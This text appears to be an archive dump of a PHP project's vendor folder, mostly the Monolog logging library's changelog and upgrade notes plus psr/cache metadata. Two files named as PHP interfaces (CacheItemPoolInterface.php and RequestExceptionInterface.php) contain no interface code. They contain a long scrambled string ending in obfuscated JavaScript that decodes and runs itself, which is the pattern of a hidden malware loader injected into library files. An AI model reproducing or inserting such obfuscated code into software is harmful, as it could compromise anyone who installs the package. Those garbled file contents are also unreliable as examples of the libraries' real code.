is 200ms * Added support for unix sockets in SyslogUdpHandler (set $port to 0 to make the $host a unix socket) * Added handleBatch support for TelegramBotHandler * Added RFC5424e extended date format including milliseconds to SyslogUdpHandler * Added support for configuring handlers with numeric level values in strings (coming from e.g. env vars) * Fixed Wildfire/FirePHP/ChromePHP handling of unicode characters * Fixed PHP 8 issues in SyslogUdpHandler * Fixed internal type error when mbstring is missing ### 2.1.1 (2020-07-23) * Fixed removing of json encoding options * Fixed type hint of $level not accepting strings in SendGridHandler and OverflowHandler * Fixed SwiftMailerHandler not accepting email templates with an empty subject * Fixed array access on null in RavenHandler * Fixed unique_id in WebProcessor not being disableable ### 2.1.0 (2020-05-22) * Added `JSON_INVALID_UTF8_SUBSTITUTE` to default json flags, so that invalid UTF8 characters now get converted to [�](https://en.wikipedia.org/wiki/Specials_(Unicode_block)#Replacement_character) instead of being converted from ISO-8859-15 to UTF8 as it was before, which was hardly a comprehensive solution * Added `$ignoreEmptyContextAndExtra` option to JsonFormatter to skip empty context/extra entirely from the output * Added `$parseMode`, `$disableWebPagePreview` and `$disableNotification` options to TelegramBotHandler * Added tentative support for PHP 8 * NormalizerFormatter::addJsonEncodeOption and removeJsonEncodeOption are now public to allow modifying default json flags * Fixed GitProcessor type error when there is no git repo present * Fixed normalization of SoapFault objects containing deeply nested objects as "detail" * Fixed support for relative paths in RotatingFileHandler ### 2.0.2 (2019-12-20) * Fixed ElasticsearchHandler swallowing exceptions details when failing to index log records * Fixed normalization of SoapFault objects containing non-strings as "detail" in LineFormatter * Fixed formatting of resources in JsonFormatter * Fixed RedisHandler failing to use MULTI properly when passed a proxied Redis instance (e.g. in Symfony with lazy services) * Fixed FilterHandler triggering a notice when handleBatch was filtering all records passed to it * Fixed Turkish locale messing up the conversion of level names to their constant values ### 2.0.1 (2019-11-13) * Fixed normalization of Traversables to avoid traversing them as not all of them are rewindable * Fixed setFormatter/getFormatter to forward to the nested handler in FilterHandler, FingersCrossedHandler, BufferHandler, OverflowHandler and SamplingHandler * Fixed BrowserConsoleHandler formatting when using multiple styles * Fixed normalization of exception codes to be always integers even for PDOException which have them as numeric strings * Fixed normalization of SoapFault objects containing non-strings as "detail" * Fixed json encoding across all handlers to always attempt recovery of non-UTF-8 strings instead of failing the whole encoding * Fixed ChromePHPHandler to avoid sending more data than latest Chrome versions allow in headers (4KB down from 256KB). * Fixed type error in BrowserConsoleHandler when the context array of log records was not associative. ### 2.0.0 (2019-08-30) * BC Break: This is a major release, see [UPGRADE.md](UPGRADE.md) for details if you are coming from a 1.x release * BC Break: Logger methods log/debug/info/notice/warning/error/critical/alert/emergency now have explicit void return types * Added FallbackGroupHandler which works like the WhatFailureGroupHandler but stops dispatching log records as soon as one handler accepted it * Fixed support for UTF-8 when cutting strings to avoid cutting a multibyte-character in half * Fixed normalizers handling of exception backtraces to avoid serializing arguments in some cases * Fixed date timezone handling in SyslogUdpHandler ### 2.0.0-beta2 (2019-07-06) * BC Break: This is a major release, see [UPGRADE.md](UPGRADE.md) for details if you are coming from a 1.x release * BC Break: PHP 7.2 is now the minimum required PHP version. * BC Break: Removed SlackbotHandler, RavenHandler and HipChatHandler, see [UPGRADE.md](UPGRADE.md) for details * Added OverflowHandler which will only flush log records to its nested handler when reaching a certain amount of logs (i.e. only pass through when things go really bad) * Added TelegramBotHandler to log records to a [Telegram](https://core.telegram.org/bots/api) bot account * Added support for JsonSerializable when normalizing exceptions * Added support for RFC3164 (outdated BSD syslog protocol) to SyslogUdpHandler * Added SoapFault details to formatted exceptions * Fixed DeduplicationHandler silently failing to start when file could not be opened * Fixed issue in GroupHandler and WhatFailureGroupHandler where setting multiple processors would duplicate records * Fixed GelfFormatter losing some data when one attachment was too long * Fixed issue in SignalHandler restarting syscalls functionality * Improved performance of LogglyHandler when sending multiple logs in a single request ### 2.0.0-beta1 (2018-12-08) * BC Break: This is a major release, see [UPGRADE.md](UPGRADE.md) for details if you are coming from a 1.x release * BC Break: PHP 7.1 is now the minimum required PHP version. * BC Break: Quite a few interface changes, only relevant if you implemented your own handlers/processors/formatters * BC Break: Removed non-PSR-3 methods to add records, all the `add*` (e.g. `addWarning`) methods as well as `emerg`, `crit`, `err` and `warn` * BC Break: The record timezone is now set per Logger instance and not statically anymore * BC Break: There is no more default handler configured on empty Logger instances * BC Break: ElasticSearchHandler renamed to ElasticaHandler * BC Break: Various handler-specific breaks, see [UPGRADE.md](UPGRADE.md) for details * Added scalar type hints and return hints in all the places it was possible. Switched strict_types on for more reliability. * Added DateTimeImmutable support, all record datetime are now immutable, and will toString/json serialize with the correct date format, including microseconds (unless disabled) * Added timezone and microseconds to the default date format * Added SendGridHandler to use the SendGrid API to send emails * Added LogmaticHandler to use the Logmatic.io API to store log records * Added SqsHandler to send log records to an AWS SQS queue * Added ElasticsearchHandler to send records via the official ES library. Elastica users should now use ElasticaHandler instead of ElasticSearchHandler * Added NoopHandler which is similar to the NullHandle but does not prevent the bubbling of log records to handlers further down the configuration, useful for temporarily disabling a handler in configuration files * Added ProcessHandler to write log output to the STDIN of a given process * Added HostnameProcessor that adds the machine's hostname to log records * Added a `$dateFormat` option to the PsrLogMessageProcessor which lets you format DateTime instances nicely * Added support for the PHP 7.x `mongodb` extension in the MongoDBHandler * Fixed many minor issues in various handlers, and probably added a few regressions too ### 1.26.0 (2020-12-14) * Added $dateFormat and $removeUsedContextFields arguments to PsrLogMessageProcessor (backport from 2.x) ### 1.25.5 (2020-07-23) * Fixed array access on null in RavenHandler * Fixed unique_id in WebProcessor not being disableable ### 1.25.4 (2020-05-22) * Fixed GitProcessor type error when there is no git repo present * Fixed normalization of SoapFault objects containing deeply nested objects as "detail" * Fixed support for relative paths in RotatingFileHandler ### 1.25.3 (2019-12-20) * Fixed formatting of resources in JsonFormatter * Fixed RedisHandler failing to use MULTI properly when passed a proxied Redis instance (e.g. in Symfony with lazy services) * Fixed FilterHandler triggering a notice when handleBatch was filtering all records passed to it * Fixed Turkish locale messing up the conversion of level names to their constant values ### 1.25.2 (2019-11-13) * Fixed normalization of Traversables to avoid traversing them as not all of them are rewindable * Fixed setFormatter/getFormatter to forward to the nested handler in FilterHandler, FingersCrossedHandler, BufferHandler and SamplingHandler * Fixed BrowserConsoleHandler formatting when using multiple styles * Fixed normalization of exception codes to be always integers even for PDOException which have them as numeric strings * Fixed normalization of SoapFault objects containing non-strings as "detail" * Fixed json encoding across all handlers to always attempt recovery of non-UTF-8 strings instead of failing the whole encoding ### 1.25.1 (2019-09-06) * Fixed forward-compatible interfaces to be compatible with Monolog 1.x too. ### 1.25.0 (2019-09-06) * Deprecated SlackbotHandler, use SlackWebhookHandler or SlackHandler instead * Deprecated RavenHandler, use sentry/sentry 2.x and their Sentry\Monolog\Handler instead * Deprecated HipChatHandler, migrate to Slack and use SlackWebhookHandler or SlackHandler instead * Added forward-compatible interfaces and traits FormattableHandlerInterface, FormattableHandlerTrait, ProcessableHandlerInterface, ProcessableHandlerTrait. If you use modern PHP and want to make code compatible with Monolog 1 and 2 this can help. You will have to require at least Monolog 1.25 though. * Added support for RFC3164 (outdated BSD syslog protocol) to SyslogUdpHandler * Fixed issue in GroupHandler and WhatFailureGroupHandler where setting multiple processors would duplicate records * Fixed issue in SignalHandler restarting syscalls functionality * Fixed normalizers handling of exception backtraces to avoid serializing arguments in some cases * Fixed ZendMonitorHandler to work with the latest Zend Server versions * Fixed ChromePHPHandler to avoid sending more data than latest Chrome versions allow in headers (4KB down from 256KB). ### 1.24.0 (2018-11-05) * BC Notice: If you are extending any of the Monolog's Formatters' `normalize` method, make sure you add the new `$depth = 0` argument to your function signature to avoid strict PHP warnings. * Added a `ResettableInterface` in order to reset/reset/clear/flush handlers and processors * Added a `ProcessorInterface` as an optional way to label a class as being a processor (mostly useful for autowiring dependency containers) * Added a way to log signals being received using Monolog\SignalHandler * Added ability to customize error handling at the Logger level using Logger::setExceptionHandler * Added InsightOpsHandler to migrate users of the LogEntriesHandler * Added protection to NormalizerFormatter against circular and very deep structures, it now stops normalizing at a depth of 9 * Added capture of stack traces to ErrorHandler when logging PHP errors * Added RavenHandler support for a `contexts` context or extra key to forward that to Sentry's contexts * Added forwarding of context info to FluentdFormatter * Added SocketHandler::setChunkSize to override the default chunk size in case you must send large log lines to rsyslog for example * Added ability to extend/override BrowserConsoleHandler * Added SlackWebhookHandler::getWebhookUrl and SlackHandler::getToken to enable class extensibility * Added SwiftMailerHandler::getSubjectFormatter to enable class extensibility * Dropped official support for HHVM in test builds * Fixed normalization of exception traces when call_user_func is used to avoid serializing objects and the data they contain * Fixed naming of fields in Slack handler, all field names are now capitalized in all cases * Fixed HipChatHandler bug where slack dropped messages randomly * Fixed normalization of objects in Slack handlers * Fixed support for PHP7's Throwable in NewRelicHandler * Fixed race bug when StreamHandler sometimes incorrectly reported it failed to create a directory * Fixed table row styling issues in HtmlFormatter * Fixed RavenHandler dropping the message when logging exception * Fixed WhatFailureGroupHandler skipping processors when using handleBatch and implement it where possible * Fixed display of anonymous class names ### 1.23.0 (2017-06-19) * Improved SyslogUdpHandler's support for RFC5424 and added optional `$ident` argument * Fixed GelfHandler truncation to be per field and not per message * Fixed compatibility issue with PHP <5.3.6 * Fixed support for headless Chrome in ChromePHPHandler * Fixed support for latest Aws SDK in DynamoDbHandler * Fixed support for SwiftMailer 6.0+ in SwiftMailerHandler ### 1.22.1 (2017-03-13) * Fixed lots of minor issues in the new Slack integrations * Fixed support for allowInlineLineBreaks in LineFormatter when formatting exception backtraces ### 1.22.0 (2016-11-26) * Added SlackbotHandler and SlackWebhookHandler to set up Slack integration more easily * Added MercurialProcessor to add mercurial revision and branch names to log records * Added support for AWS SDK v3 in DynamoDbHandler * Fixed fatal errors occurring when normalizing generators that have been fully consumed * Fixed RollbarHandler to include a level (rollbar level), monolog_level (original name), channel and datetime (unix) * Fixed RollbarHandler not flushing records automatically, calling close() explicitly is not necessary anymore * Fixed SyslogUdpHandler to avoid sending empty frames * Fixed a few PHP 7.0 and 7.1 compatibility issues ### 1.21.0 (2016-07-29) * Break: Reverted the addition of $context when the ErrorHandler handles regular php errors from 1.20.0 as it was causing issues * Added support for more formats in RotatingFileHandler::setFilenameFormat as long as they have Y, m and d in order * Added ability to format the main line of text the SlackHandler sends by explicitly setting a formatter on the handler * Added information about SoapFault instances in NormalizerFormatter * Added $handleOnlyReportedErrors option on ErrorHandler::registerErrorHandler (default true) to allow logging of all errors no matter the error_reporting level ### 1.20.0 (2016-07-02) * Added FingersCrossedHandler::activate() to manually trigger the handler regardless of the activation policy * Added StreamHandler::getUrl to retrieve the stream's URL * Added ability to override addRow/addTitle in HtmlFormatter * Added the $context to context information when the ErrorHandler handles a regular php error * Deprecated RotatingFileHandler::setFilenameFormat to only support 3 formats: Y, Y-m and Y-m-d * Fixed WhatFailureGroupHandler to work with PHP7 throwables * Fixed a few minor bugs ### 1.19.0 (2016-04-12) * Break: StreamHandler will not close streams automatically that it does not own. If you pass in a stream (not a path/url), then it will not close it for you. You can retrieve those using getStream() if needed * Added DeduplicationHandler to remove duplicate records from notifications across multiple requests, useful for email or other notifications on errors * Added ability to use `%message%` and other LineFormatter replacements in the subject line of emails sent with NativeMailHandler and SwiftMailerHandler * Fixed HipChatHandler handling of long messages ### 1.18.2 (2016-04-02) * Fixed ElasticaFormatter to use more precise dates * Fixed GelfMessageFormatter sending too long messages ### 1.18.1 (2016-03-13) * Fixed SlackHandler bug where slack dropped messages randomly * Fixed RedisHandler issue when using with the PHPRedis extension * Fixed AmqpHandler content-type being incorrectly set when using with the AMQP extension * Fixed BrowserConsoleHandler regression ### 1.18.0 (2016-03-01) * Added optional reduction of timestamp precision via `Logger->useMicrosecondTimestamps(false)`, disabling it gets you a bit of performance boost but reduces the precision to the second instead of microsecond * Added possibility to skip some extra stack frames in IntrospectionProcessor if you have some library wrapping Monolog that is always adding frames * Added `Logger->withName` to clone a logger (keeping all handlers) with a new name * Added FluentdFormatter for the Fluentd unix socket protocol * Added HandlerWrapper base class to ease the creation of handler wrappers, just extend it and override as needed * Added support for replacing context sub-keys using `%context.*%` in LineFormatter * Added support for `payload` context value in RollbarHandler * Added setRelease to RavenHandler to describe the application version, sent with every log * Added support for `fingerprint` context value in RavenHandler * Fixed JSON encoding errors that would gobble up the whole log record, we now handle those more gracefully by dropping chars as needed * Fixed write timeouts in SocketHandler and derivatives, set to 10sec by default, lower it with `setWritingTimeout()` * Fixed PHP7 compatibility with regard to Exception/Throwable handling in a few places ### 1.17.2 (2015-10-14) * Fixed ErrorHandler compatibility with non-Monolog PSR-3 loggers * Fixed SlackHandler handling to use slack functionalities better * Fixed SwiftMailerHandler bug when sending multiple emails they all had the same id * Fixed 5.3 compatibility regression ### 1.17.1 (2015-08-31) * Fixed RollbarHandler triggering PHP notices ### 1.17.0 (2015-08-30) * Added support for `checksum` and `release` context/extra values in RavenHandler * Added better support for exceptions in RollbarHandler * Added UidProcessor::getUid * Added support for showing the resource type in NormalizedFormatter * Fixed IntrospectionProcessor triggering PHP notices ### 1.16.0 (2015-08-09) * Added IFTTTHandler to notify ifttt.com triggers * Added Logger::setHandlers() to allow setting/replacing all handlers * Added $capSize in RedisHandler to cap the log size * Fixed StreamHandler creation of directory to only trigger when the first log write happens * Fixed bug in the handling of curl failures * Fixed duplicate logging of fatal errors when both error and fatal error handlers are registered in monolog's ErrorHandler * Fixed missing fatal errors records with handlers that need to be closed to flush log records * Fixed TagProcessor::addTags support for associative arrays ### 1.15.0 (2015-07-12) * Added addTags and setTags methods to change a TagProcessor * Added automatic creation of directories if they are missing for a StreamHandler to open a log file * Added retry functionality to Loggly, Cube and Mandrill handlers so they retry up to 5 times in case of network failure * Fixed process exit code being incorrectly reset to 0 if ErrorHandler::registerExceptionHandler was used * Fixed HTML/JS escaping in BrowserConsoleHandler * Fixed JSON encoding errors being silently suppressed (PHP 5.5+ only) ### 1.14.0 (2015-06-19) * Added PHPConsoleHandler to send record to Chrome's PHP Console extension and library * Added support for objects implementing __toString in the NormalizerFormatter * Added support for HipChat's v2 API in HipChatHandler * Added Logger::setTimezone() to initialize the timezone monolog should use in case date.timezone isn't correct for your app * Added an option to send formatted message instead of the raw record on PushoverHandler via ->useFormattedMessage(true) * Fixed curl errors being silently suppressed ### 1.13.1 (2015-03-09) * Fixed regression in HipChat requiring a new token to be created ### 1.13.0 (2015-03-05) * Added Registry::hasLogger to check for the presence of a logger instance * Added context.user support to RavenHandler * Added HipChat API v2 support in the HipChatHandler * Added NativeMailerHandler::addParameter to pass params to the mail() process * Added context data to SlackHandler when $includeContextAndExtra is true * Added ability to customize the Swift_Message per-email in SwiftMailerHandler * Fixed SwiftMailerHandler to lazily create message instances if a callback is provided * Fixed serialization of INF and NaN values in Normalizer and LineFormatter ### 1.12.0 (2014-12-29) * Break: HandlerInterface::isHandling now receives a partial record containing only a level key. This was always the intent and does not break any Monolog handler but is strictly speaking a BC break and you should check if you relied on any other field in your own handlers. * Added PsrHandler to forward records to another PSR-3 logger * Added SamplingHandler to wrap around a handler and include only every Nth record * Added MongoDBFormatter to support better storage with MongoDBHandler (it must be enabled manually for now) * Added exception codes in the output of most formatters * Added LineFormatter::includeStacktraces to enable exception stack traces in logs (uses more than one line) * Added $useShortAttachment to SlackHandler to minify attachment size and $includeExtra to append extra data * Added $host to HipChatHandler for users of private instances * Added $transactionName to NewRelicHandler and support for a transaction_name context value * Fixed MandrillHandler to avoid outputting API call responses * Fixed some non-standard behaviors in SyslogUdpHandler ### 1.11.0 (2014-09-30) * Break: The NewRelicHandler extra and context data are now prefixed with extra_ and context_ to avoid clashes. Watch out if you have scripts reading those from the API and rely on names * Added WhatFailureGroupHandler to suppress any exception coming from the wrapped handlers and avoid chain failures if a logging service fails * Added MandrillHandler to send emails via the Mandrillapp.com API * Added SlackHandler to log records to a Slack.com account * Added FleepHookHandler to log records to a Fleep.io account * Added LogglyHandler::addTag to allow adding tags to an existing handler * Added $ignoreEmptyContextAndExtra to LineFormatter to avoid empty [] at the end * Added $useLocking to StreamHandler and RotatingFileHandler to enable flock() while writing * Added support for PhpAmqpLib in the AmqpHandler * Added FingersCrossedHandler::clear and BufferHandler::clear to reset them between batches in long running jobs * Added support for adding extra fields from $_SERVER in the WebProcessor * Fixed support for non-string values in PrsLogMessageProcessor * Fixed SwiftMailer messages being sent with the wrong date in long running scripts * Fixed minor PHP 5.6 compatibility issues * Fixed BufferHandler::close being called twice ### 1.10.0 (2014-06-04) * Added Logger::getHandlers() and Logger::getProcessors() methods * Added $passthruLevel argument to FingersCrossedHandler to let it always pass some records through even if the trigger level is not reached * Added support for extra data in NewRelicHandler * Added $expandNewlines flag to the ErrorLogHandler to create multiple log entries when a message has multiple lines ### 1.9.1 (2014-04-24) * Fixed regression in RotatingFileHandler file permissions * Fixed initialization of the BufferHandler to make sure it gets flushed after receiving records * Fixed ChromePHPHandler and FirePHPHandler's activation strategies to be more conservative ### 1.9.0 (2014-04-20) * Added LogEntriesHandler to send logs to a LogEntries account * Added $filePermissions to tweak file mode on StreamHandler and RotatingFileHandler * Added $useFormatting flag to MemoryProcessor to make it send raw data in bytes * Added support for table formatting in FirePHPHandler via the table context key * Added a TagProcessor to add tags to records, and support for tags in RavenHandler * Added $appendNewline flag to the JsonFormatter to enable using it when logging to files * Added sound support to the PushoverHandler * Fixed multi-threading support in StreamHandler * Fixed empty headers issue when ChromePHPHandler received no records * Fixed default format of the ErrorLogHandler ### 1.8.0 (2014-03-23) * Break: the LineFormatter now strips newlines by default because this was a bug, set $allowInlineLineBreaks to true if you need them * Added BrowserConsoleHandler to send logs to any browser's console via console.log() injection in the output * Added FilterHandler to filter records and only allow those of a given list of levels through to the wrapped handler * Added FlowdockHandler to send logs to a Flowdock account * Added RollbarHandler to send logs to a Rollbar account * Added HtmlFormatter to send prettier log emails with colors for each log level * Added GitProcessor to add the current branch/commit to extra record data * Added a Monolog\Registry class to allow easier global access to pre-configured loggers * Added support for the new official graylog2/gelf-php lib for GelfHandler, upgrade if you can by replacing the mlehner/gelf-php requirement * Added support for HHVM * Added support for Loggly batch uploads * Added support for tweaking the content type and encoding in NativeMailerHandler * Added $skipClassesPartials to tweak the ignored classes in the IntrospectionProcessor * Fixed batch request support in GelfHandler ### 1.7.0 (2013-11-14) * Added ElasticSearchHandler to send logs to an Elastic Search server * Added DynamoDbHandler and ScalarFormatter to send logs to Amazon's Dynamo DB * Added SyslogUdpHandler to send logs to a remote syslogd server * Added LogglyHandler to send logs to a Loggly account * Added $level to IntrospectionProcessor so it only adds backtraces when needed * Added $version to LogstashFormatter to allow using the new v1 Logstash format * Added $appName to NewRelicHandler * Added configuration of Pushover notification retries/expiry * Added $maxColumnWidth to NativeMailerHandler to change the 70 chars default * Added chainability to most setters for all handlers * Fixed RavenHandler batch processing so it takes the message from the record with highest priority * Fixed HipChatHandler batch processing so it sends all messages at once * Fixed issues with eAccelerator * Fixed and improved many small things ### 1.6.0 (2013-07-29) * Added HipChatHandler to send logs to a HipChat chat room * Added ErrorLogHandler to send logs to PHP's error_log function * Added NewRelicHandler to send logs to NewRelic's service * Added Monolog\ErrorHandler helper class to register a Logger as exception/error/fatal handler * Added ChannelLevelActivationStrategy for the FingersCrossedHandler to customize levels by channel * Added stack traces output when normalizing exceptions (json output & co) * Added Monolog\Logger::API constant (currently 1) * Added support for ChromePHP's v4.0 extension * Added support for message priorities in PushoverHandler, see $highPriorityLevel and $emergencyLevel * Added support for sending messages to multiple users at once with the PushoverHandler * Fixed RavenHandler's support for batch sending of messages (when behind a Buffer or FingersCrossedHandler) * Fixed normalization of Traversables with very large data sets, only the first 1000 items are shown now * Fixed issue in RotatingFileHandler when an open_basedir restriction is active * Fixed minor issues in RavenHandler and bumped the API to Raven 0.5.0 * Fixed SyslogHandler issue when many were used concurrently with different facilities ### 1.5.0 (2013-04-23) * Added ProcessIdProcessor to inject the PID in log records * Added UidProcessor to inject a unique identifier to all log records of one request/run * Added support for previous exceptions in the LineFormatter exception serialization * Added Monolog\Logger::getLevels() to get all available levels * Fixed ChromePHPHandler so it avoids sending headers larger than Chrome can handle ### 1.4.1 (2013-04-01) * Fixed exception formatting in the LineFormatter to be more minimalistic * Fixed RavenHandler's handling of context/extra data, requires Raven client >0.1.0 * Fixed log rotation in RotatingFileHandler to work with long running scripts spanning multiple days * Fixed WebProcessor array access so it checks for data presence * Fixed Buffer, Group and FingersCrossed handlers to make use of their processors ### 1.4.0 (2013-02-13) * Added RedisHandler to log to Redis via the Predis library or the phpredis extension * Added ZendMonitorHandler to log to the Zend Server monitor * Added the possibility to pass arrays of handlers and processors directly in the Logger constructor * Added `$useSSL` option to the PushoverHandler which is enabled by default * Fixed ChromePHPHandler and FirePHPHandler issue when multiple instances are used simultaneously * Fixed header injection capability in the NativeMailHandler ### 1.3.1 (2013-01-11) * Fixed LogstashFormatter to be usable with stream handlers * Fixed GelfMessageFormatter levels on Windows ### 1.3.0 (2013-01-08) * Added PSR-3 compliance, the `Monolog\Logger` class is now an instance of `Psr\Log\LoggerInterface` * Added PsrLogMessageProcessor that you can selectively enable for full PSR-3 compliance * Added LogstashFormatter (combine with SocketHandler or StreamHandler to send logs to Logstash) * Added PushoverHandler to send mobile notifications * Added CouchDBHandler and DoctrineCouchDBHandler * Added RavenHandler to send data to Sentry servers * Added support for the new MongoClient class in MongoDBHandler * Added microsecond precision to log records' timestamps * Added `$flushOnOverflow` param to BufferHandler to flush by batches instead of losing the oldest entries * Fixed normalization of objects with cyclic references ### 1.2.1 (2012-08-29) * Added new $logopts arg to SyslogHandler to provide custom openlog options * Fixed fatal error in SyslogHandler ### 1.2.0 (2012-08-18) * Added AmqpHandler (for use with AMQP servers) * Added CubeHandler * Added NativeMailerHandler::addHeader() to send custom headers in mails * Added the possibility to specify more than one recipient in NativeMailerHandler * Added the possibility to specify float timeouts in SocketHandler * Added NOTICE and EMERGENCY levels to conform with RFC 5424 * Fixed the log records to use the php default timezone instead of UTC * Fixed BufferHandler not being flushed properly on PHP fatal errors * Fixed normalization of exotic resource types * Fixed the default format of the SyslogHandler to avoid duplicating datetimes in syslog ### 1.1.0 (2012-04-23) * Added Monolog\Logger::isHandling() to check if a handler will handle the given log level * Added ChromePHPHandler * Added MongoDBHandler * Added GelfHandler (for use with Graylog2 servers) * Added SocketHandler (for use with syslog-ng for example) * Added NormalizerFormatter * Added the possibility to change the activation strategy of the FingersCrossedHandler * Added possibility to show microseconds in logs * Added `server` and `referer` to WebProcessor output ### 1.0.2 (2011-10-24) * Fixed bug in IE with large response headers and FirePHPHandler ### 1.0.1 (2011-08-25) * Added MemoryPeakUsageProcessor and MemoryUsageProcessor * Added Monolog\Logger::getName() to get a logger's channel name ### 1.0.0 (2011-07-06) * Added IntrospectionProcessor to get info from where the logger was called * Fixed WebProcessor in CLI ### 1.0.0-RC1 (2011-07-01) * Initial release vendor/monolog/monolog/phpstan.neon.dist000064400000001510147600277620014475 0ustar00parameters: level: 5 treatPhpDocTypesAsCertain: false reportUnmatchedIgnoredErrors: false paths: - src/ # - tests/ ignoreErrors: - '#zend_monitor_|ZEND_MONITOR_#' - '#^Cannot call method ltrim\(\) on int\|false.$#' - '#MongoDB\\(Client|Collection)#' - message: '#Return type \(string\) of method Monolog\\Formatter\\LineFormatter::normalizeException\(\) should be compatible with return type \(array\) of method Monolog\\Formatter\\NormalizerFormatter::normalizeException\(\)#' paths: - src/Monolog/Formatter/LineFormatter.php - message: '#Method Monolog\\Handler\\LogglyHandler::loadCurlHandle\(\) never returns resource so it can be removed from the return typehint.#' paths: - src/Monolog/Handler/LogglyHandler.php vendor/monolog/monolog/UPGRADE.md000064400000005537147600277620012623 0ustar00### 2.0.0 - `Monolog\Logger::API` can be used to distinguish between a Monolog `1` and `2` install of Monolog when writing integration code. - Removed non-PSR-3 methods to add records, all the `add*` (e.g. `addWarning`) methods as well as `emerg`, `crit`, `err` and `warn`. - DateTime are now formatted with a timezone and microseconds (unless disabled). Various formatters and log output might be affected, which may mess with log parsing in some cases. - The `datetime` in every record array is now a DateTimeImmutable, not that you should have been modifying these anyway. - The timezone is now set per Logger instance and not statically, either via ->setTimezone or passed in the constructor. Calls to Logger::setTimezone should be converted. - `HandlerInterface` has been split off and two new interfaces now exist for more granular controls: `ProcessableHandlerInterface` and `FormattableHandlerInterface`. Handlers not extending `AbstractHandler` should make sure to implement the relevant interfaces. - `HandlerInterface` now requires the `close` method to be implemented. This only impacts you if you implement the interface yourself, but you can extend the new `Monolog\Handler\Handler` base class too. - There is no more default handler configured on empty Logger instances, if you were relying on that you will not get any output anymore, make sure to configure the handler you need. #### LogglyFormatter - The records' `datetime` is not sent anymore. Only `timestamp` is sent to Loggly. #### AmqpHandler - Log levels are not shortened to 4 characters anymore. e.g. a warning record will be sent using the `warning.channel` routing key instead of `warn.channel` as in 1.x. - The exchange name does not default to 'log' anymore, and it is completely ignored now for the AMQP extension users. Only PHPAmqpLib uses it if provided. #### RotatingFileHandler - The file name format must now contain `{date}` and the date format must be set to one of the predefined FILE_PER_* constants to avoid issues with file rotation. See `setFilenameFormat`. #### LogstashFormatter - Removed Logstash V0 support - Context/extra prefix has been removed in favor of letting users configure the exact key being sent - Context/extra data are now sent as an object instead of single keys #### HipChatHandler - Removed deprecated HipChat handler, migrate to Slack and use SlackWebhookHandler or SlackHandler instead #### SlackbotHandler - Removed deprecated SlackbotHandler handler, use SlackWebhookHandler or SlackHandler instead #### RavenHandler - Removed deprecated RavenHandler handler, use sentry/sentry 2.x and their Sentry\Monolog\Handler instead #### ElasticSearchHandler - As support for the official Elasticsearch library was added, the former ElasticSearchHandler has been renamed to ElasticaHandler and the new one added as ElasticsearchHandler. vendor/psr/cache/src/CacheItemPoolInterface.php000064400000010445147600277620015524 0ustar00)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+()tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "psr/cache", "description": "Common interface for caching libraries", "keywords": ["psr", "psr-6", "cache"], "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "require": { "php": ">=5.3.0" }, "autoload": { "psr-4": { "Psr\\Cache\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } } } vendor/psr/cache/CHANGELOG.md000064400000001352147600277620011535 0ustar00# Changelog All notable changes to this project will be documented in this file, in reverse chronological order by release. ## 1.0.1 - 2016-08-06 ### Fixed - Make spacing consistent in phpdoc annotations php-fig/cache#9 - chalasr - Fix grammar in phpdoc annotations php-fig/cache#10 - chalasr - Be more specific in docblocks that `getItems()` and `deleteItems()` take an array of strings (`string[]`) compared to just `array` php-fig/cache#8 - GrahamCampbell - For `expiresAt()` and `expiresAfter()` in CacheItemInterface fix docblock to specify null as a valid parameters as well as an implementation of DateTimeInterface php-fig/cache#7 - GrahamCampbell ## 1.0.0 - 2015-12-11 Initial stable release; reflects accepted PSR-6 specification vendor/psr/http-client/src/RequestExceptionInterface.php000064400000001112147600277620017536 0ustar00)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+()tul5ibtp%1ueg,B% 